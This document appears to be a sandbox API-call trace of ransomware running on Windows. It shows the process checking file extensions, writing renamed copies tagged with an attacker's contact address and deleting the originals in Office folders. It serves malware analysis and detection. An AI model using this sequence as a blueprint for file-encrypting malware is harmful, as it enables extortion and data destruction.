	[0271.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0271.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60
	[0271.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60
	[0271.670] lstrlenW (lpString=".doc") returned 4
	[0271.670] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0271.670] lstrlenW (lpString=".docx") returned 5
	[0271.670] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1
	[0271.670] lstrlenW (lpString=".pdf") returned 4
	[0271.670] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0271.670] lstrlenW (lpString=".xls") returned 4
	[0271.670] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0271.670] lstrlenW (lpString=".xlsx") returned 5
	[0271.670] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1
	[0271.670] lstrlenW (lpString=".ppt") returned 4
	[0271.670] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0271.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60
	[0271.670] lstrlenW (lpString=".zip") returned 4
	[0271.670] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0271.670] lstrlenW (lpString=".rar") returned 4
	[0271.670] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0271.670] lstrlenW (lpString=".bz2") returned 4
	[0271.670] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0271.670] lstrlenW (lpString=".7z") returned 3
	[0271.670] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0271.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60
	[0271.670] lstrlenW (lpString=".dbf") returned 4
	[0271.670] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0271.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60
	[0271.670] lstrlenW (lpString=".1cd") returned 4
	[0271.670] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0271.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL") returned 60
	[0271.670] lstrlenW (lpString=".jpg") returned 4
	[0271.670] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0271.671] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.671] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0271.671] GetLastError () returned 0x0
	[0271.671] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x30a, lpOverlapped=0x0) returned 1
	[0271.673] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x310, lpOverlapped=0x0) returned 1
	[0271.674] ReadFile (in: hFile=0x328, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.674] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0271.674] SetEndOfFile (hFile=0x358) returned 1
	[0271.674] CloseHandle (hObject=0x358) returned 1
	[0271.674] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.674] SetEndOfFile (hFile=0x328) returned 1
	[0271.678] CloseHandle (hObject=0x328) returned 1
	[0271.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 1
	[0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0271.678] lstrlenW (lpString=".doc") returned 4
	[0271.678] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1
	[0271.678] lstrlenW (lpString=".docx") returned 5
	[0271.678] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1
	[0271.678] lstrlenW (lpString=".pdf") returned 4
	[0271.678] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1
	[0271.678] lstrlenW (lpString=".xls") returned 4
	[0271.678] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1
	[0271.678] lstrlenW (lpString=".xlsx") returned 5
	[0271.678] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1
	[0271.678] lstrlenW (lpString=".ppt") returned 4
	[0271.678] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1
	[0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0271.678] lstrlenW (lpString=".zip") returned 4
	[0271.679] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1
	[0271.679] lstrlenW (lpString=".rar") returned 4
	[0271.679] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1
	[0271.679] lstrlenW (lpString=".bz2") returned 4
	[0271.679] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1
	[0271.679] lstrlenW (lpString=".7z") returned 3
	[0271.679] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1
	[0271.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0271.679] lstrlenW (lpString=".dbf") returned 4
	[0271.679] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1
	[0271.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0271.679] lstrlenW (lpString=".1cd") returned 4
	[0271.679] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1
	[0271.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59
	[0271.679] lstrlenW (lpString=".jpg") returned 4
	[0271.679] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1
	[0271.679] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=152392) returned 1
	[0271.679] CloseHandle (hObject=0x328) returned 1
	[0271.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll")) returned 0x20
	[0271.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0271.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66
	[0271.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66
	[0271.680] lstrlenW (lpString=".doc") returned 4
	[0271.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0271.680] lstrlenW (lpString=".docx") returned 5
	[0271.680] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0271.680] lstrlenW (lpString=".pdf") returned 4
	[0271.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0271.680] lstrlenW (lpString=".xls") returned 4
	[0271.680] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0271.680] lstrlenW (lpString=".xlsx") returned 5
	[0271.680] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0271.680] lstrlenW (lpString=".ppt") returned 4
	[0271.680] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0271.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66
	[0271.680] lstrlenW (lpString=".zip") returned 4
	[0271.680] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0271.680] lstrlenW (lpString=".rar") returned 4
	[0271.680] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0271.680] lstrlenW (lpString=".bz2") returned 4
	[0271.680] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0271.680] lstrlenW (lpString=".7z") returned 3
	[0271.680] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0271.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66
	[0271.681] lstrlenW (lpString=".dbf") returned 4
	[0271.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0271.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66
	[0271.681] lstrlenW (lpString=".1cd") returned 4
	[0271.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0271.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66
	[0271.681] lstrlenW (lpString=".jpg") returned 4
	[0271.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0272.130] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.130] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.131] GetLastError () returned 0x0
	[0272.131] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x786, lpOverlapped=0x0) returned 1
	[0272.148] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x790, lpOverlapped=0x0) returned 1
	[0272.148] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.148] WriteFile (in: hFile=0x334, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0272.148] SetEndOfFile (hFile=0x334) returned 1
	[0272.148] CloseHandle (hObject=0x334) returned 1
	[0272.149] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.149] SetEndOfFile (hFile=0x358) returned 1
	[0272.150] CloseHandle (hObject=0x358) returned 1
	[0272.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 1
	[0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59
	[0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59
	[0272.199] lstrlenW (lpString=".doc") returned 4
	[0272.199] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1
	[0272.199] lstrlenW (lpString=".docx") returned 5
	[0272.199] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1
	[0272.199] lstrlenW (lpString=".pdf") returned 4
	[0272.199] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1
	[0272.199] lstrlenW (lpString=".xls") returned 4
	[0272.199] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1
	[0272.199] lstrlenW (lpString=".xlsx") returned 5
	[0272.199] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1
	[0272.199] lstrlenW (lpString=".ppt") returned 4
	[0272.199] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1
	[0272.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59
	[0272.199] lstrlenW (lpString=".zip") returned 4
	[0272.199] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1
	[0272.199] lstrlenW (lpString=".rar") returned 4
	[0272.199] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1
	[0272.199] lstrlenW (lpString=".bz2") returned 4
	[0272.200] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1
	[0272.200] lstrlenW (lpString=".7z") returned 3
	[0272.200] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1
	[0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59
	[0272.200] lstrlenW (lpString=".dbf") returned 4
	[0272.200] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1
	[0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59
	[0272.200] lstrlenW (lpString=".1cd") returned 4
	[0272.200] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1
	[0272.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59
	[0272.200] lstrlenW (lpString=".jpg") returned 4
	[0272.200] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1
	[0272.200] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.200] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.369] GetLastError () returned 0x0
	[0272.369] ReadFile (in: hFile=0x274, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x6ed0, lpOverlapped=0x0) returned 1
	[0272.371] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x6ee0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x6ee0, lpOverlapped=0x0) returned 1
	[0272.372] ReadFile (in: hFile=0x274, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.373] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0272.373] SetEndOfFile (hFile=0x358) returned 1
	[0272.373] CloseHandle (hObject=0x358) returned 1
	[0272.373] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.373] SetEndOfFile (hFile=0x274) returned 1
	[0272.375] CloseHandle (hObject=0x274) returned 1
	[0272.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 1
	[0272.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62
	[0272.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62
	[0272.379] lstrlenW (lpString=".doc") returned 4
	[0272.379] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.379] lstrlenW (lpString=".docx") returned 5
	[0272.379] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1
	[0272.379] lstrlenW (lpString=".pdf") returned 4
	[0272.379] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString=".xls") returned 4
	[0272.380] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString=".xlsx") returned 5
	[0272.380] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1
	[0272.380] lstrlenW (lpString=".ppt") returned 4
	[0272.380] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62
	[0272.380] lstrlenW (lpString=".zip") returned 4
	[0272.380] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString=".rar") returned 4
	[0272.380] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString=".bz2") returned 4
	[0272.380] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString=".7z") returned 3
	[0272.380] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62
	[0272.380] lstrlenW (lpString=".dbf") returned 4
	[0272.380] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62
	[0272.380] lstrlenW (lpString=".1cd") returned 4
	[0272.380] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62
	[0272.380] lstrlenW (lpString=".jpg") returned 4
	[0272.380] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.381] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=51388) returned 1
	[0272.381] CloseHandle (hObject=0x218) returned 1
	[0272.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20
	[0272.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.381] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.381] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.381] GetLastError () returned 0x0
	[0272.382] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xc8bc, lpOverlapped=0x0) returned 1
	[0272.391] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xc8c0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xc8c0, lpOverlapped=0x0) returned 1
	[0272.392] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.392] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0272.392] SetEndOfFile (hFile=0x390) returned 1
	[0272.392] CloseHandle (hObject=0x390) returned 1
	[0272.392] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.392] SetEndOfFile (hFile=0x218) returned 1
	[0272.395] CloseHandle (hObject=0x218) returned 1
	[0272.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 1
	[0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62
	[0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62
	[0272.396] lstrlenW (lpString=".doc") returned 4
	[0272.396] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString=".docx") returned 5
	[0272.396] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1
	[0272.396] lstrlenW (lpString=".pdf") returned 4
	[0272.396] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString=".xls") returned 4
	[0272.396] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString=".xlsx") returned 5
	[0272.396] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1
	[0272.396] lstrlenW (lpString=".ppt") returned 4
	[0272.396] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62
	[0272.396] lstrlenW (lpString=".zip") returned 4
	[0272.396] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString=".rar") returned 4
	[0272.396] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString=".bz2") returned 4
	[0272.396] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString=".7z") returned 3
	[0272.396] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62
	[0272.396] lstrlenW (lpString=".dbf") returned 4
	[0272.396] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62
	[0272.396] lstrlenW (lpString=".1cd") returned 4
	[0272.396] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62
	[0272.396] lstrlenW (lpString=".jpg") returned 4
	[0272.397] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.397] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=27412) returned 1
